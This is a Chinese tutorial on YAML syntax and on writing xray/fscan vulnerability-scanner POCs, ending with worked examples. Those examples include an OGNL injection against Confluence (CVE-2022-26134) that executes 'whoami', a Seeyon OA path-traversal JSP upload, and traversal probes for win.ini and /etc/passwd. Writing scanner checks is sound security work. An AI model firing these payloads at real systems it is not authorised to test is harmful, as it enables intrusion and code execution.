编写YAML格式POC

1.什么是yaml

YAML 是 “YAML Ain’t a Markup Language”(YAML 不是一种标记语言)的递归缩写。在开发的这种语言时,YAML 的意思其实是:“Yet Another Markup Language”(仍是一种标记语言),但为了强调这种语言以数据做为中心,而不是以标记语言为重点,而用反向缩略语重命名。

官网原文是这样解释的:

YAML is a human-friendly data serialization language for all programming languages.

翻译:YAML 是一种适用于所有编程语言的人性化数据序列化语言。

您可以将数据序列化视为将结构化数据集移动到某些编程语言中可用对象的过程。

数据序列化语言的快速比较

JSON 和 XML 是您可能熟悉的另外两种序列化语言。YAML 类似于 JSON 和 XML,但自称更具可读性。让我们看一个例子。

XML

使用占位符内容时,此帖子数组在使用 XML 时可能与以下内容类似:

<posts>
  <post>
    <title>xxx</title>
    <tags>
      <tag>xxx</tag>
      <tag>xxx</tag>
      <tag>xxx</tag>
    </tags>
    <body>
      Lorem ipsum dolor sit amet consectetur adipisicing elit. Nulla quidem at, suscipit quo ullam
      quaerat vitae perspiciatis aliquid delectus, quas mollitia, unde consequuntur commodi
      cupiditate officia natus? Quis, fugiat consectetur.
    </body>
  </post>
  <post>
    <title>xxx</title>
    <tags>
      <tag>xxx</tag>
      <tag>xxx</tag>
      <tag>xxx</tag>
    </tags>
    <body>
      Lorem ipsum dolor sit amet consectetur adipisicing elit. Nulla quidem at, suscipit quo ullam
      quaerat vitae perspiciatis aliquid delectus, quas mollitia, unde consequuntur commodi
      cupiditate officia natus? Quis, fugiat consectetur.
    </body>
  </post>
</posts>

结构明显且僵硬。它具有 HTML 的类似,但它很冗长。例如,注意某个标签比标签本身需要更多字符。

JSON

JSON 语法规则

JSON 语法是 JavaScript 对象表示语法的子集。

  • 数据由逗号 , 分隔
  • 使用斜杆 ** 来转义字符
  • 大括号 {} 保存对象
  • 中括号 [] 保存数组,数组可以包含多个对象
JSON 的两种结构:

1、对象:大括号 {} 保存的对象是一个无序的名称/值对集合。一个对象以左括号 { 开始, 右括号 } 结束。每个"键"后跟一个冒号 :名称/值对使用逗号 , 分隔。

**2、数组:**中括号 [] 保存的数组是值(value)的有序集合。一个数组以左中括号 [ 开始, 右中括号 ] 结束,值之间使用逗号 , 分隔。

 值(value)可以是双引号括起来的字符串(string)、数值(number)、true、false、 null、对象(object)或者数组(array),它们是可以嵌套。

这是使用 JSON 构建相同内容时的样子:

{
  "posts": [
    {
      "title": "xxx",
      "tags": ["xxx", "xxx", "xxx"],
      "body": "Lorem ipsum dolor sit amet consectetur adipisicing elit. Nulla quidem at, suscipit quo ullam quaerat vitae perspiciatis aliquid delectus, quas mollitia, unde consequuntur commodi cupiditate officia natus? Quis, fugiat consectetur."
    },
    {
      "title": "xxx",
      "tags": ["xxx", "xxx", "xxx"],
      "body": "Lorem ipsum dolor sit amet consectetur adipisicing elit. Nulla quidem at, suscipit quo ullam quaerat vitae perspiciatis aliquid delectus, quas mollitia, unde consequuntur commodi cupiditate officia natus? Quis, fugiat consectetur."
    }
  ]
}

在某些情况下,这可能更具可读性,tags​​ 是一个简洁而明显的数组,而在其他情况下则更加困难,例如 body​​,因为 JSON 不适合多行字符串。

YAML

以 - 开头的行表示构成一个数组:

|     保留每行尾部的换行符\n
>     删除每行尾部的换行符\n,则看似多行文本,则在程序中会将其视为一行。且会保留最后一行的尾部换行符号
+     表示保留最后一行字符串末尾的换行
-     表示删除最后一行字符串末尾的换行



现在让我们看一下 YAML 中的相同数据:

posts:
  - title: xxx
    tags:
      - xxx
      - xxx
      - xxx
    body: |-
      Lorem ipsum dolor sit amet consectetur adipisicing elit. Nulla quidem at, suscipit quo ullam
      quaerat vitae perspiciatis aliquid delectus, quas mollitia, unde consequuntur commodi
      cupiditate officia natus? Quis, fugiat consectetur.

  - title: xxx
    tags:
      - xxx
      - xxx
      - xxx
    body: |+
      Lorem ipsum dolor sit amet consectetur adipisicing elit. Nulla quidem at, suscipit quo ullam
      quaerat vitae perspiciatis aliquid delectus, quas mollitia, unde consequuntur commodi
      cupiditate officia natus? Quis, fugiat consectetur.

运行结果

image

可以看到,非常简洁。

注意 YAML 的以下特征:

  • 我们并不需要引号(在某些情况下,引号是必要的)。
  • 包装文本很简单(body​ 可读性强)。
  • 我们只需要几个有趣的字符来表示我们正在处理的对象的类型,比如一个连字符(-​)意味着我们正在处理一个数组。

2.什么是POC

概念

PoC,全称“Proof of Concept”,中文“概念验证”,常指一段漏洞证明的代码。

Exp,全称“Exploit”,中文“利用”,指利用系统漏洞进行攻击的动作。

Payload,中文“有效载荷”,指成功 exploit 之后,真正在目标系统执行的代码或指令。

Shellcode,简单翻译“shell 代码”,是 Payload 的一种,由于其建立正向/反向 shell 而得名。

解释

PoC 是用来证明漏洞存在的

Exp 是用来利用漏洞的,两者通常不是一类,或者说,PoC 通常是无害的,Exp 通常是有害的,有了 PoC,才有 Exp。

Payload 有很多种,它可以是 Shellcode,也可以直接是一段系统命令。同一个 Payload 可以用于多个漏洞,但每个漏洞都有其自己的 Exp,也就是说不存在通用的 Exp。

Shellcode 也有很多种,包括正向的,反向的,甚至 meterpreter。

3 yaml基础语法

3.1 yaml语言特性归纳如下

YAML的可读性好
YAML和脚本语言的交互性好
YAML使用实现语言的数据类型
YAML有一个一致的信息模型
YAML易于实现
YAML可以基于流来处理YAML表达能力强,扩展性好

3.2 YAML有以下基本规则

1、大小写敏感
2、使用缩进表示层级关系
3、禁止使用tab缩进,只能使用空格键
4、缩进长度没有限制,只要元素对齐就表示这些元素属于一个层级
5、使用#表示注释
6、字符串可以不用引号标注

3.3 三种数据结构

3.3.1 对象

键值对的集合,又称为映射(mapping)/ 哈希(hashes) / 字典(dictionary)

对象的一组键值对,使用冒号结构表示。

# JSON 表示
{'age':12,'name':'huang'}

# YAML 多行表示
age : 12
name : huang

# YAML 行内表示
{age:12, name:huang}

3.3.2 List 数组

一组按次序排列的值,又称为序列(sequence) / 列表(list)

一组连词线开头的行,构成一个数组。

# JSON 表示
['a','b',12]

# YAML 多行表示
- a
- b
- 12

# YAML 行内表示
[a, b, c]

3.4 字符串

3.4.1 引号
  • 默认不使用引号表示
  • 如果字符串之中包含空格或特殊字符,则需要放在引号之中
  • 单引号和双引号都可以使用,双引号不会对特殊字符转义
  • 单引号之中如果还有单引号,必须连续使用两个单引号转义
# YAML 表示
s1: '内容\n字符串'
s2: "内容\n字符串"
str: 'labor''s day' 

# JSON 表示
{ s1: '内容\\n字符串', s2: '内容\n字符串', str: 'labor\'s day' }
3.4.2 单字符串换行
  • 字符串可以写成多行,从第二行开始,必须有一个单空格缩进。换行符会被转为空格。
# YAML 表示
str: 这是一段
  多行
  字符串

# JSON 表示
{ str: '这是一段 多行 字符串' }
3.4.3 多行字符串
  • 多行字符串可以使用 | 保留换行符,也可以使用 > 折叠换行

    “|” 保留每行尾部的换行符\n

    “>” 删除每行尾部的换行符\n,则看似多行文本,则在程序中会将其视为一行。且会保留最后一行尾部的换行符号

# YAML 表示
this: |
  Foo
  Bar
that: >
  Foo
  Bar

# JSON 表示
{
  "this": "Foo\\nBar\\n",
  "that": "Foo Bar\\n"
}

image

  • +表示保留文字块末尾的换行,- 表示删除字符串末尾的换行。
# YAML 表示
s1: |
  Foo
s2: |+
  Foo
s3: |-
  Foo

# JSON 表示
{
  "s1": "Foo\n",
  "s2": "Foo\n",
  "s3": "Foo"
}
3.4.4 HTML

字符串之中可以插入 HTML 标记。

# YAML 表示
message: |
  <p style="color: red">
    段落
  </p>

# JSON 表示
{
  "message": "<p style="color: red">\n  段落\n</p>\n"
}
3.4.5 强制转换

YAML 允许使用两个感叹号,强制转换数据类型。

# YAML 强制转换
e: !!str 123
f: !!str true

# 转为 JSON 如下。
{ e: '123', f: 'true' }

3.5 数据结构嵌套

Map 和 List 的元素可以是另一个 Map 或者 List 或者是纯量。由此出现 4 种常见的数据嵌套:

3.5.1 Map 嵌套 Map

# JSON 表示
{ 
    websites: 
   { 
        YAML: 'yaml.org',
        Ruby: 'ruby-lang.org',
        Python: 'python.org',
        Perl: 'use.perl.org' 
    } 
}

# YAML 表示
websites:
  YAML: yaml.org 
  Ruby: ruby-lang.org 
  Python: python.org 
  Perl: use.perl.org 

3.5.2 Map 嵌套 List

# JSON 表示
{ languages: [ 'Ruby', 'Perl', 'Python', 'c' ] }

# YAML 表示
languages:
  - Ruby
  - Perl
  - Python 
  - c

3.5.3 List 嵌套 List

# JSON 表示
[ [ 'Ruby', 'Perl', 'Python' ], [ 'c', 'c++', 'java' ] ]

# YAML 表示 1
-
  - Ruby
  - Perl
  - Python 
- 
  - c
  - c++
  - java

# YAML 表示 2
- - Ruby
  - Perl
  - Python 
- - c
  - c++
  - java

# YAML 表示 3
- [Ruby,Perl,Python]
- [c,c++,java]

3.5.4 List 嵌套 Map

# JSON 表示
[ { id: 1, name: 'huang' }, { id: 2, name: 'liao' } ]

# YAML 表示
-
  id: 1
  name: huang
-
  id: 2
  name: liao

3.5 引用

& 用来建立锚点(defaults),« 表示合并到当前数据,* 用来引用锚点。

defaults: &defaults
  adapter:  postgres
  host:     localhost

development:
  database: myapp_development
  <<: *defaults

- &showell Steve 
- Clark 
- Brian 
- Oren 
- *showell 

等同于下面的代码。

defaults:
  adapter:  postgres
  host:     localhost

development:
  database: myapp_development
  adapter:  postgres
  host:     localhost

[ 'Steve', 'Clark', 'Brian', 'Oren', 'Steve' ]

4.poc应用场景

xray

根据xray的解析规则,目前有两个版本:v1、v2

fscan

目前只支持 xray 的 v1版本

5.poc编写

5.1 POC结构

一个最基础的 POC 如下:

name: poc-yaml-example-com      
rules:
  - method: GET
    path: "/"
    headers:
       Content-Type: application/x-www-form-urlencoded
    expression: |
      response.status==200 && response.body.bcontains(b'Example Domain')


detail:
  author: name(link)
  links: 
    - http://example.com

名词解析

name: poc-yaml-example-com                    //poc的名字
rules:   //规则组成列表
  - method: GET                               // 请求方法
    path: "/"                                 //请求的路径
    headers:                                  //请求 HTTP 头,Rule 中指定的值会被覆盖到原始数据包的 HTTP 头中
       Content-Type: application/x-www-form-urlencoded
    expression: |                        //表达式
      response.status==200 && response.body.bcontains(b'Example Domain')

detail:                                      //一个键值对,需要将结果返回给xray的引擎内容,如果无需返回内容则可忽略
  author: name(link)                         //作者名称
  links:                                     //参考地址
    - http://example.com

整个 POC 是一个键值对,其包含3个键:

  • name: string
  • set: []string​ (0.13.0 版本新增)
  • rules: []Rule
  • detail: map[string]string

name 是 POC 的名字

set 是用来自定义变量,比如是随机数、反连平台等。

rules 是一个由规则(Rule)组成的列表,后面会描述如何编写 Rule,并将其组成 rules。

detail 是一个键值对,内部存储需要返回给 xray 引擎的内容,如果无需返回内容,可以忽略。

5.2 Rule

Rule 就是我们 POC 的灵魂,在 YAML 中一个 Rule 是一个键值对,其包含如下键:

  • method: string​ 请求方法
  • path: string​ 请求的完整 Path,包括 querystring 等
  • headers: map[string]string​ 请求 HTTP 头,Rule 中指定的值会被覆盖到原始数据包的 HTTP 头中
  • body: string​ 请求的Body
  • follow_redirects: bool​ 是否允许跟随300跳转
  • expression: string
  • search: string

根据这些键的作用,我们将其分为三类:

  1. method​、path​、headers​、body​、follow_redirects​的作用是生成检测漏洞的数据包
  2. expression​ 的作用是判断该条 Rule 的结果
  3. search​ 的作用是从返回包中提取信息

对于第一部分的内容,用来将原始的扫描请求进行变形, 比如原请求是 GET​,但这里制定了 POST​, 那么发送的时候就会使用 POST​,其他项类似,不在赘述,我们从第二部分开始介绍。

整体执行流程可以参照上述的生命周期。

如何编写expression表达式

如果说Rule是一个POC的灵魂,那么expression表达式就是Rule的灵魂。

正如spring使用SpEL表达式,struts2使用OGNL表达式,xray使用了编译性语言Golang,所以为了实现动态执行一些规则,我们使用了Common Expression Language (CEL)表达式。

关于CEL表达式项目的详细信息,可以参考https://github.com/google/cel-spec项目。如果你只是编写一些简单的规则,只需要阅读本文档的即可。

我们从上述示例中的表达式开始说起:

response.status==200 && response.body.bcontains(b'Example Domain')

CEL表达式通熟易懂,非常类似于一个Python表达式。上述表达式的意思是:​**返回包status等于200,且body中包含内容“Example Domain”**​。

xray 通过类型注入技术自定义了4种数据类型,包括

  • request​ 原始扫描请求
  • response​ 当前 rule 的响应
  • reverse​ 反连平台类型
  • url​ url 类型,可以用过 request.url​、response.url​ 和 reverse.url​ 调用

其中可以在 rule 的 expression 使用的类型有: request​、response​ 和自定义的变量。

关于这些类型的详细属性,参照后续的清单。

expression表达式上下文还包含有一些常用的函数。比如上述 bcontains​ 用来匹配 bytes 是否包含,类似的,如果要匹配 string 的包含,可以使用 contains​, 如:

response.content_type.contains("json")

xray 所有CEL文档中的函数,同时还包含xray引擎中自定义的函数,函数清单请参照下方清单部分。

值得注意的是,类似于python,CEL中的字符串可以有转义和前缀,如:

  • '\r\n'​ 表示换行
  • r'\r\n'​ 不表示换行,仅仅表示这4个字符。在编写正则时很有意义。
  • b'test'​ 一个字节流(bytes),在golang中即为[]byte

用一些简单的例子来解释大部分我们可能用到的表达式:

  • response.body.bcontains(b'test')

    • 返回包 body 包含 test,因为 body 是一个 bytes 类型的变量,所以我们需要使用 bcontains 方法,且其参数也是 bytes
  • response.body.bcontains(bytes(r1+'some value'+r2))

    • r1、r2是 randomLowercase 的变量,这里动态的判断 body 的内容
  • response.content_type.contains('application/octet-stream') && response.body.bcontains(b'\x00\x01\x02')

    • 返回包的 content-type 包含 application/octet-stream,且 body 中包含 0x000102 这段二进制串
  • response.content_type.contains('zip') && r'^PK\x03\x04'.bmatches(response.body)

    • 这个规则用来判断返回的内容是否是zip文件,需要同时满足条件:content-type 包含关键字 “zip”,且 body 匹配上正则r'^PK\x03\x04'(就是zip的文件头)。因为 startsWith 方法只支持字符串的判断,所以这里没有使用。
  • response.status >= 300 && response.status < 400

    • 返回包的 status code 在 300~400 之间
  • (response.status >= 500 && response.status != 502) || r'<input value="(.+?)"'.bmatches(response.body)

    • 返回包status code大于等于500且不等于502,或者Body包含表单
  • response.headers['location']=="https://www.example.com"

    • headers 中 Location​ 等于指定值,如果 Location​ 不存在,该表达式返回 false
  • 'docker-distribution-api-version' in response.headers && response.headers['docker-distribution-api-version'].contains('registry/2.0')

    • headers 中包含 docker-distribution-api-version​ 并且 value 包含指定字符串,如果不判断 in​,后续的 contains 会出错。
  • response.body.bcontains(bytes(response.url.path))

    • body 中包含 url 的 path

expression表达式返回的必须是一个bool类型的结果,这个结果作为整个Rule的值,而rules由多个Rule组成。值为true的Rule,如果后面还有其他Rule,则继续执行后续Rule,如果后续没有其他Rule,则表示该POC的结果是true;如果一个Rule的expression返回false,则不再执行后续Rule,也表示本POC的返回结果是false。

也就是说,一个POC的rules中,最后一个Rule的值,决定是否存在漏洞。

5.3 自定义变量

在编写 poc 时,有时会遇到需要随机值的情况,如果只是单纯的随机值比较简单,可以直接使用 randomLowercase​ 等函数生产随机值。但经常性的,我们后续还需要用到该随机值,这就是自定义变量的用途了。

xray 的自定义变量通过 yaml 中的 set 实现,一个相对复杂的 case 如下:

name: poc-yaml-example

set:
  r1: randomInt(5, 10)      //在5-10中随机获取一个整数
  r2: randomLowercase(r1)   // 随机生成一个 r1 长度的小写随机值
  requestType: request.content_type

rules:
  - method: GET
    path: "/?{{r2}}"
    expression: |
      requestType.contains("json") && response.status==200 && md5(r2).contains('1')

该 poc 最终发出的 path 类似 /lxbfah​,意为先在 (5,10)内随机取一个整数 r1, 然后随机生成一个 r1 长度的小写随机值,在发送请求时将该值作为 path 发出。 表达式内验证原始请求的 content-type 是否包含 json 以及 md5 后的 r2 是否包含 1 这个字符等。

上面的范例包含了自定义变量的一些规律和约束:

  • set 的 value 是表达式,可以使用所有全局函数
  • set 有先后次序,后面的变量可以使用前面的再次处理
  • set 中可以使用 request​ 和 reverse​(下面讲到) 变量
  • 在 rules 的 expression 中可以直接使用自定义变量,非 expression 的部分需要使用 {{}}​ 包裹变量,因为其他位置不是表达式(类似 search)

更多复杂用法大家可以自行发挥。

5.4 规则组

该功能从 xray 1.6.0 开始支持

有一部分漏洞存在多种入口或是多种触发条件,如果想要将支持多种情况,从已知的情报来看只能写多个 yaml poc。但是从分类上来讲,这几个分离的 poc 实际都是为了检测同一个漏洞,因此诞生了 groups​ 规则组的概念。

最常见的一个应用是同一漏洞在 windows 和 linux 下不同的利用方式, 这时候就可以这么写:

name: poc-yaml-groups-test
groups:
  win:
    - method: GET
      path: "/getfile=../../../../windows/win.ini"
      expression: |
        response.status == 200
  linux:
    - method: GET
      path: "/getfile=../../../../etc/passwd"
      expression: |
        response.status == 200CopyErrorCopied

groups​ 的定义是 map[string]rules,这里执行逻辑上相当于 win | linux​, 即只要有一组规则执行成功,该漏洞就认为存在。

注意:groups​ 与 rules​ 应当只存在一个。

5.5 内部变量与函数速查

通过类型注入技术,我们实现了四种自定义的数据类型

其中 request 包含的字段如下:

变量名 类型 说明
request.url urlType 自定义类型 urlType, 请查看下方 urlType 的说明
request.method string 原始请求的方法
request.headers map[string]string 原始请求的HTTP头,是一个键值对(均为小写),我们可以通过headers['server']​来获取值。如果键不存在,则获取到的值是空字符串。注意,该空字符串不能用于 ==​ 以外的操作,否则不存在的时候将报错,需要先 in​ 判断下。详情参考下文常用函数章节。
request.content_type string 原始请求的 content-type 头的值, 等于request.headers["Content-Type"]
request.body []byte 原始请求的 body,需要使用字节流相关方法来判断。如果是 GET, body 为空。

response 包含的字段如下:

变量名 类型 说明
response.url urlType 自定义类型 urlType, 请查看下方 urlType 的说明
response.status int 返回包的status code
response.body []byte 返回包的Body,因为是一个字节流(bytes)而非字符串,后面判断的时候需要使用字节流相关的方法
response.headers map[string]string 返回包的HTTP头,类似 request.headers​。
response.content_type string 返回包的content-type头的值
response.latency int 响应的延迟时间,可以用于 sql 时间盲注的判断,单位毫秒 (ms)

常用函数一览

函数名 函数原型 说明
contains func (s1 string) contains(s2 string) bool 判断s1是否包含s2,返回bool类型结果
bcontains func (b1 bytes) bcontains(b2 bytes) bool 判断一个b1是否包含b2,返回bool类型结果。与contains不同的是,bcontains是字节流(bytes)的查找
matches func (s1 string) matches(s2 string) bool 使用正则表达式s1来匹配s2,返回bool类型匹配结果
bmatches func (s1 string) bmatches(b1 bytes) bool 使用正则表达式s1来匹配b1,返回bool类型匹配结果。与matches不同的是,bmatches匹配的是字节流(bytes)
startsWith func (s1 string) startsWith(s2 string) bool 判断s1是否由s2开头
endsWith func (s1 string) endsWith(s2 string) bool 判断s1是否由s2结尾
in string in map map 中是否包含某个 key,目前只有 headers 是 map 类型
md5 func md5(string) string 字符串的 md5 (以下都是 0.13.0 版本新增)
randomInt func randomInt(from, to int) int 两个范围内的随机数
randomLowercase func randomLowercase(n length) string 指定长度的小写字母组成的随机字符串
base64 func base64(string/bytes) string 将字符串或 bytes 进行 base64 编码
base64Decode func base64Decode(string/bytes) string 将字符串或 bytes 进行 base64 解码
urlencode func urlencode(string/bytes) string 将字符串或 bytes 进行 urlencode 编码
urldecode func urldecode(string/bytes) string 将字符串或 bytes 进行 urldecode 解码
substr func substr(string, start, length) string 截取字符串
sleep func sleep(int) bool 暂停执行等待指定的秒数

6.POC演示编写

confluence代码执行

name: confluence-rce-CVE-2022-26134

rules:
  - method: GET
    path: /%24%7BClass.forName%28%22com.opensymphony.webwork.ServletActionContext%22%29.getMethod%28%22getResponse%22%2Cnull%29.invoke%28null%2Cnull%29.setHeader%28%22X-Cmd-Response%22%2CClass.forName%28%22javax.script.ScriptEngineManager%22%29.newInstance%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22var%20d%3D%27%27%3Bvar%20i%20%3D%20java.lang.Runtime.getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%3B%20while%28i.available%28%29%29d%2B%3DString.fromCharCode%28i.read%28%29%29%3Bd%22%29%29%7D/
    follow_redirects: false
    expression: |
      response.status==302 && 'X-Cmd-Response' in response.headers

image

致远OA wpsAssistServlet 文件上传

‍‍

name: poc-yaml-seeyon-wps-assist-servlet-upload

set:
  rfilename: randomLowercase(12)
  r2: randomInt(40000, 44800)
  r3: randomInt(40000, 44800)


rules:
  - method: POST
    path: /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/{{rfilename}}.jsp&fileId=2
    headers:
      Content-Type: "multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b"
    body: "--59229605f98b8cf290a7b8908b34616b\r\nContent-Disposition: form-data; name=\"upload\"; filename=\"123.xls\"\r\nContent-Type: application/vnd.ms-excel\r\n\r\n<% out.println({{r2}} * {{r3}});%>\r\n--59229605f98b8cf290a7b8908b34616b--\r\n\r\n"
    expression: response.status == 200 && response.body.bcontains(b'"code":') && response.body.bcontains(b'"data":') && response.body.bcontains(b'"officeTransResultFlag":') && response.body.bcontains(b'true')

  - method: GET
    path: /{{rfilename}}.jsp
    expression: response.status == 200 && response.body.bcontains(bytes(string(r2 * r3)))


扫描结果

image-20221201093144045

poc调试

如果 poc 无法扫出期望的结果,可以按照以下思路调试

  • 确定 poc 语法正确,payload 正确。
  • 使用wireshark进行抓包